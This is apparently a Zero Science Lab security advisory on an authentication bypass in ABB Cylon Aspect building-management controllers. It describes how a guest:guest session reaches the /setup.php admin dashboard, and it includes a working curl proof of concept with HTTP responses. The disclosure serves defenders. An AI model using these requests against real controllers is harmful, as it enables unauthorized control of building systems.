ABB Cylon Aspect 3.08.03 (login.php) Obscure Authentication Bypass


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.03

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB Cylon Aspect BAS controller allows login using guest:guest,
which initiates a web session but restricts access to administrative features
by returning an 'Invalid Admin Username and/or Password' message. However,
the session is still active and valid within the HMI environment. Despite
failed privilege validation in the login flow, direct navigation to /setup.php
bypasses authentication and authorization controls entirely. This endpoint
serves as the administrative dashboard and allows full configuration access,
including the ability to change credentials for the privileged aamuser account.
This flaw results in privilege escalation from a limited guest session to
full administrative control, compromising the integrity of the system.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
           ErgoTech MIX Deployment Server 2.0.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5949
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5949.php


21.04.2024

--


$ cat project

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$ curl http://192.168.73.31/validate/login.php \
> -d "f_user=guest&f_pass=guest&submit=Login"

HTTP/1.1 302 Found
Date: Wed, 21 May 2025 20:11:17 GMT
Server: Apache
Set-Cookie: PHPSESSID=1ii8m7g2qb8c6lph0fu6olh0o0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ../index.php?error=Invalid Admin Username and/or Password.
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

$ curl http://192.168.73.31/setup.php \
> -H "Cookie: PHPSESSID=1ii8m7g2qb8c6lph0fu6olh0o0; cod=82; csd=86"

HTTP/1.1 200 OK
Date: Wed, 21 May 2025 20:12:16 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: context1=dHV2ZnVoZnRodjY7NjszOw%3D%3D; expires=Wed, 21-May-2025 21:12:16 GMT; path=/
Set-Cookie: context1=dHV2ZnVoZnRodjY7NjszOw%3D%3D; expires=Wed, 21-May-2025 21:12:16 GMT; path=/
Content-Length: 381
Connection: close
Content-Type: text/html; charset=UTF-8

$ curl http://192.168.73.31/logSystem.php \
> -H "Cookie: PHPSESSID=1ii8m7g2qb8c6lph0fu6olh0o0; context1=dHV2ZnVoZnRodjY7NjszOw%3D%3D; cod=82; csd=86"

<html>
    <head>
        <title>System Logs</title>
...
...
...